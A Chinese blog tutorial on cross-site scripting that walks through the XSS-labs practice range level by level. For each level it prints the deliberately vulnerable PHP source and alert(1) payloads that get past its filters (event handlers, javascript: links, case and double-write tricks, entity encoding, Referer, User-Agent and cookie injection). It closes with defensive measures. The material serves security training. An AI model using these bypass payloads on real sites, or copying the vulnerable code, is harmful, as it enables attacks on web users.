XSS零基础到实战

1. XSS基础知识

1.1 XSS原理

什么是XSS攻击?

XSS全称是Cross Site Scripting,即跨站脚本攻击,原理是:由于web应用程序未对用户的输入进行严格的过滤和防范,攻击者往web页面中插入恶意脚本(通常是JS),用户访问了带有恶意脚本的页面时,浏览器会将其作为受信任、合法的代码执行,从而发起Cookie信息泄露、网络钓鱼等攻击

攻击者往往通过各种方式向网站提交包含恶意脚本的代码,比如评论留言板URL等等,被提交的恶意脚本存储在网站的服务器中,用户在浏览被注入恶意脚本的页面时,恶意脚本被触发执行。

大多数的XSS攻击形成原因都基于主观因素,即由于开发者的疏忽或者缺乏认知,未做好严格有效的防范措施。XSS攻击无需直接攻击Web服务器,而是浏览网站的用户。

1.2 XSS危害

XSS(跨站脚本攻击)的注入点是用户可以输入信息的地方,这些信息随后会在网页中被显示,从而被执行恶意脚本,XSS攻击的危害主要分为以下几种:

  • Cookie信息窃取
  • 会话信息劫持
  • 网络钓鱼
  • 网页篡改与广告注入
  • 传播恶意代码
  • 控制网站的权限
  • 结合CSRF漏洞等其他手段攻击

1.3 XSS类型

XSS主要分为三种类型:反射型、存储型、DOM型。

1.3.1 反射型XSS

反射型XSS也称为非持久型XSS,主要特点是攻击者将恶意脚本注入到URL的参数中,并诱使用户点击该链接,反射型XSS攻击的核心流程:

  • 攻击者精心构造出包含恶意代码的URL提交到网站;
  • 用户点击带有恶意代码的URL,服务器通过解析给用户响应;
  • 恶意代码随着响应的内容一起返回给浏览器,浏览器解析执行恶意代码;
  • 恶意代码盗取了用户的数据并返回给攻击者,然后执行相应的破坏操作;

由于这个过程类似“反射”,所以称为反射型XSS。

1.3.2 存储型XSS

与反射型XSS相对应的是存储型XSS,之所以叫存储型,是因为恶意代码(脚本)永久存储在目标服务器中(数据库或文件),下次请求目标时不再提交恶意代码(脚本),因此也被称为“持久型”XSS。

存储型XSS一般存在于评论、留言板等表单交互功能的场景,存储型XSS的攻击过程:

  • 攻击者将恶意代码伪装成正常内容通过表单提交到网站的数据库中保存;
  • 当用户访问到该页面时,页面从数据库中读取数据,将恶意代码读出渲染到页面执行;
  • 恶意代码在用户的页面上执行,从而执行相应的恶意操作;

存储型XSS相对于反射型XSS来说,更加隐蔽,带来的危害也更大,且不需要用户点击恶意链接,所有访问到该页面的用户都会受到影响。

1.3.3 DOM型XSS

DOM型XSS是一种发生在客户端的跨站脚本,完全不需要服务端的参与。攻击者通过修改页面的DOM注入恶意脚本,从而窃取敏感信息或执行其他恶意操作。DOM型XSS的攻击过程:

  • 攻击者构造一个包含恶意脚本的URL;
  • 在用户的浏览器中,恶意脚本会直接修改页面的DOM,例如通过document.write()innerHTML等方式写入恶意代码;
  • 整个过程不需要将恶意脚本发送到服务器端,也不需要服务器端返回恶意代码;

2. XSS-labs靶场

2.1 简介

XSS-labs是一个专门用于练习XSS漏洞的靶场,是一个php项目,一共有16个关卡。

XSS-labs靶场下载链接:GitHub – do0dl3/xss-labs: xss 跨站漏洞平台

靶场所用到的工具:

  • phpstudy_pro:web 环境
  • BurpSuite pro:Web 集成测试工具

工具SQL注入的时候都用过了,这里不再多说。

2.2 环境搭建

首先将下载的XSS-labs靶场源码放到phpstudy_pro/WWW目录下,然后配置网站:

配置好网站以后,直接打开浏览器访问http://localhost:8055/就可以了:

2.3 Level1

请求方式XSS类型过滤方式注入点
GET反射型<script>

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

源码中看到,程序并未对参数name做出任何的过滤,传入的name直接就在浏览器显示了,所以弹窗的payload如下:

?name=<script>alert(1);</script>

2.4 Level2

请求方式XSS类型过滤方式注入点
GET反射型特殊字符(< > ” ‘ &)<input>闭合+<script>

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

源码中多了一个htmlspecialchars()函数,这就是过滤函数,用于把一些预定义的字符转换为HTML 实体,说白了就是防止”<“和“>”等字符转换成HTML实体。

我们执行Level1的脚本,发现果然被过滤掉了,所以不会有弹窗,但是input的value值没有被转义,闭合value属性就可以进行注入了,这和SQL注入的思路一致:

"><script>alert(1);</script>   //input框输入
?keyword="><script>alert(1);</script>   //URL输入
//拼接后的HTML为:
<input name=keyword  value=""><script>alert(1);</script>">

2.5 Level3

请求方式XSS类型过滤方式注入点
GET反射型特殊字符(< > ” ‘ &)单引号事件

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

我们输入Level1的脚本测试,发现特殊字符都被转义了:

<input name=keyword  value='&lt;script&gt;alert(1);&lt;/script&gt;'>	

源码中也是使用了htmlspecialchars()函数,input标签里也用了,这就不能使用闭合方式了。

php的8.1.0及以上版本,htmlspecialchars()函数默认转义,<>&'" 这五个字符,而8.1.0以下的版本只会转义<>&" 这四个字符,不会对'进行转义。

//输入'><script>alert(1);</script>
<input name=keyword  value=''&gt;&lt;script&gt;alert(1);&lt;/script&gt;'>

单引号没有被转义,但是也没有用处,因为标签'<>’被转义了不能闭合,那么就不能使用<script>了,那么我们可以通过事件来触发注入点:

' onmouseover=javascript:alert(1) '
' onclick=javascript:alert(1) '  //javascript:也可以不写
//拼接后的HTML
<input name=keyword  value='' onmouseover=javascript:alert(1) ''>
<input name=keyword  value='' onclick=javascript:alert(1) ''>

2.6 Level-4

请求方式XSS类型过滤方式注入点
GET反射型<>字符双引号事件

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

我们输入Level1的脚本测试,发现“<>”都被转义了,替换为空:

//输入<script>alert(1);</script>
<input name=keyword  value="scriptalert(1);/script">

这和源码中的str_replace替换函数对应,那么可以使用双引号绕过可以了:

" onmouseover=javascript:alert(1) "
" onclick=javascript:alert(1) "  //javascript:也可以不写
//拼接后的HTML
<input name=keyword  value="" onmouseover=javascript:alert(1) "">
<input name=keyword  value="" onclick=javascript:alert(1) "">

2.7 Level5

请求方式XSS类型过滤方式注入点
GET反射型script/on替换<a>标签href属性

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

还是和之前的步骤一样,输入Level1的脚本测试,发现对script标签改成了scr_ipt,那么再输入事件的脚本测试一下看看,发现on被转义成了o_n

//输入<script>alert(1);</script>
<input name=keyword  value="<scr_ipt>alert(1);</script>">
//输入" onmouseover=javascript:alert(1) "
<input name=keyword  value="" o_nmouseover=javascript:alert(1) "">

结果和源码中的代码相对应,script标签和事件都不能用了,那么可以使用<a>标签,<a>标签的href属性值可以是URL,也可以运行JS代码:

"> <a href="javascript:alert(1)">alert</a>
//拼接后的HTML
<input name=keyword  value=""> <a href="javascript:alert(1)">alert</a>">

2.8 Level6

请求方式XSS类型过滤方式注入点
GET反射型script/on/href替换href属性大小写绕过

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

源码中发现,在之前过滤的字符基础上又把href过滤了,但是HTML是不区分大小写的,所以可以大小写绕过过滤,使用HREF或者hRef都可以:

"> <a hRef="javascript:alert(1)">alert</a>
//拼接后的HTML:
<input name=keyword  value=""> <a hRef="javascript:alert(1)">alert</a>">

当然也可以使用大小写混写的script绕过:

"> <sCRiPT>alert(1);</sCrIpt>

2.9 Level7

请求方式XSS类型过滤方式注入点
GET反射型script/on/href替换双写嵌套script

源码分析

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

源码中使用了strtolower函数,大小写混写方法用不了了,str_replace函数只对字符串做一次一次检测,再次拼接得到的字符串则不会检测,那么可以采用双写嵌套绕过:

"> <scriscriptpt>alert(1);</scriscriptpt>

2.10 Level8

请求方式XSS类型过滤方式注入点
GET反射型script/on/href替换双写嵌套script

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

还是按照之前的注入手法测试,发现字符被转义了:

//1.输入"> <script>alert(1);</script>
<input name=keyword  value="&quot;&gt; &lt;script&gt;alert(1);&lt;/script&gt;">
</center><center><BR><a href="&quot> <scr_ipt>alert(1);</scr_ipt>">友情链接</a></center><center><img src=level8.jpg></center>
//2.输入javascript:alert(1);
</center><center><BR><a href="javascr_ipt:alert(1);">友情链接</a></center><center><img src=level8.jpg></center>

所以这里需要用到href属性的一个特性:href的值也可以是HTML实体编码。经过HTML实体编码的值不会被htmlspecialchars函数再次编码,返回到浏览器后href的值也可以进行HTML解码。

HTML有两种实体编码:实体名称编码和数字编码,实体名称编码就是之前见过的&lt;形式,数字编码形式就是ASCII表对应的具体数值,比如&#60;&#62;等,对于数字编码,任何字符都有对应的编码,具体转换可参见ASCII字符表,或者使用工具来转换:编码转换工具

那么对于本关的过滤规则,可以使用编码来绕过:

javascr&#105;pt:alert(1);

2.11 Level9

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等HTML实体编码

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
if(false===strpos($str7,'http://'))
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

按照上一关的逻辑来测试,发现页面提示链接不合法,页面提示“此服务器上未找到请求的 URL /”,源码中strpos函数检测是否添加了http://,那我们加上http://然后注释掉就可以了:

javascr&#105;pt:alert(1)//http://

2.12 Level10

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等隐藏表单

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

先看一下页面,发现没有可以输入的地方,猜测可能是隐藏表单,查看源代码发现有三个输入框,可以使用t_sort这个标签来进行注入,过滤了“<>”,就说明不能使用<script>,但是没有对双引号过滤,那么就可以使用事件来注入;

但是这个表单是隐藏的,意味着事件不能被触发,我们就要在type属性之前设置一个新的type覆盖掉后面的type=”hidden”,那么测试的payload就可以这样写:

payload1

?keyword=test&t_sort=" onmouseover=javascript:alert(1) type="text" "
//注入后的HTML:
<input name="t_sort" value="" onmouseover=javascript:alert(1) type "" type="hidden">

payload2

?keyword=test&t_sort=" type="text" onmouseover=alert(1)//

2.13 Level11

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等隐藏表单ref

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一关也没有输入框,可以猜到也是隐藏表单,查看源代码比上一关多了一个t_ref字段:

<input name="t_ref"  value="" type="hidden">

那么可以直接打开BurpSuite抓包,修改referer字段,这个字段用于提供访问来源的信息:

payload1

" type="text" onmouseover=alert(1)//

payload2

" onmouseover=javascript:alert(1) type "

关于更多Referer字段的知识,推荐查看HTTP Referer 教程 – 阮一峰的网络日志

2.14 Level12

请求方式XSS类型过滤方式注入点
GET反射型过滤、替换、转义等隐藏表单User-Agent

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一关和Level11的类似,也是多了个字段,通过value值可以发现是User-Agent头

<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36" type="hidden">

同理,也是使用BurpSuite抓包,修改User-Agent的值就可以了:

payload1

" type="text" onmouseover=alert(1)//

payload2

" onmouseover=javascript:alert(1) type "

2.15 Level13

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等隐藏表单cookie

源码分析

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这一关还是和之前一样的过滤,这次隐藏的字段的cookie了,将对应的user的值设置payload:

payload1

Cookie: user=" type="text" onmouseover=alert(1)//

payload2

Cookie: user=" onmouseover=javascript:alert(1) type "

2.16 Level14

这关成功后不会自动跳转。成功者点我进level15,还能这么玩呢?

2.17 Level15

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等ng-include

源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

来到本关的页面,还是没有输入的地方,看一下源代码发现多了一个属性值:ng-include,这个指令只要用于包含外部的HTML文件,不会执行<script>标签中的代码,所以嵌入脚本就不行了,有两种方法可以解决本关的难题,第一种是实现一个能弹窗的HTML,通过include引入进来:

<html>
   <img src=1 onerror="alert(1)"></img>
</html>

将该HTML文件存放到根目录,然后执行payload:

?src="/alert.html"

还有一种方式是通过调用同一域名下的其他网页,调用Level1.php文件过滤最少:

src=src='level1.php?name=<img src=1 onerror=alert(/111/)>'   //两个src不受影响

2.18 Level16

请求方式XSS类型过滤方式注入点
GET反射型大小写过滤、替换等其他标签、实体编码

源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

首先按照之前的payload走一遍,发现被转义了:

?keyword="> <script>alert(1);</script>
//拼接后的HTML:
<center>">&nbsp;<&nbsp;>alert(1);<&nbsp;&nbsp;></center>

<>还在,script、/、空格都被过滤了,<>还在说明能使用标签,实体编码可以代替空格,script被过滤可以使用其他标签,所以直接写payload就可以了:

//使用img标签
?keyword=<img%0Asrc=1%0Aonerror="alert(1)">
//使用a标签,%0A和%0d都可以表示空格
?keyword=<a%0donmouseover='alert(1)'>xss

2.19 Level17

请求方式XSS类型过滤方式注入点
GET反射型替换、转义事件

源码分析

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

<embed>标签用于嵌入外部程序或者插件,但是<>被转义了,就只能用事件来触发,payload如下:

?arg01=a&arg02=b onmouseover=alert('1')

2.20 Level18

请求方式XSS类型过滤方式注入点
GET反射型替换、转义事件

源码分析

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

本关与Level17是一样的,所以payload也是一样:

?arg01=a&arg02=b onmouseover=alert('1')

2.21 Level19

请求方式XSS类型过滤方式注入点
GET反射型替换、转义事件

源码分析

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

本关和前两关相比多了双引号,参考大佬的payload:

arg01=version&arg02=<a href="javascript:alert(/xss/)"></a>

2.22 Level20

本关没成功做出来。

3. XSS的防御

3.1 用户输入验证和过滤

首先对用户所有的输入进行验证和过滤,比如采用白名单策略,或者限制输入的数据类型、长度等等,服务端也要进行严格的验证,以防止攻击者绕过前端验证。

3.2 编码转义

对用户提交的数据进行编码或转义,确保用户输入的数据是纯文本模式,不可以被执行,比如XSS-labs靶场里的HTML实体编码转义,还有更便捷的方式就是使用Vue前端框架,默认对输入的数据进行转义。

3.3 CSP(内容安全策略)

网站管理员可以指定浏览器加载哪些动态资源,通过设置HTTP响应头Content-Security-Policy属性,可以指定允许的脚本来源,从而防止恶意脚本的执行。

3.4 设置HttpOnly Cookie

HttpOnly cookie 是一种安全属性,当浏览器设置此属性时,它会阻止恶意脚本(如 JavaScript)访问该 cookie,从而阻止了XSS攻击。

3.5 配置WAF

WAF是Web防火墙的缩写,通过过滤和监控HTTP流量来保护Web应用程序免受常见的网络攻击,存在于OSI模型的第7层,有效拦截XSS攻击、SQL注入等应用层攻击,在请求到达服务器之前就进行检测。


免责声明:

1. 一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
觉得有帮助可以赞赏本文哦~万分感谢!
文章:XSS零基础到实战
作者:沛旗
链接:https://www.peiqiblog.com/article/5920/
版权声明::本博客站点所有文章除特别声明外,均采用 CC BY-NC-SA 4.0协议
转载请注明文章地址及作者哦~
暂无评论

发送评论(禁止发表一切违反法律法规的敏感言论) 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇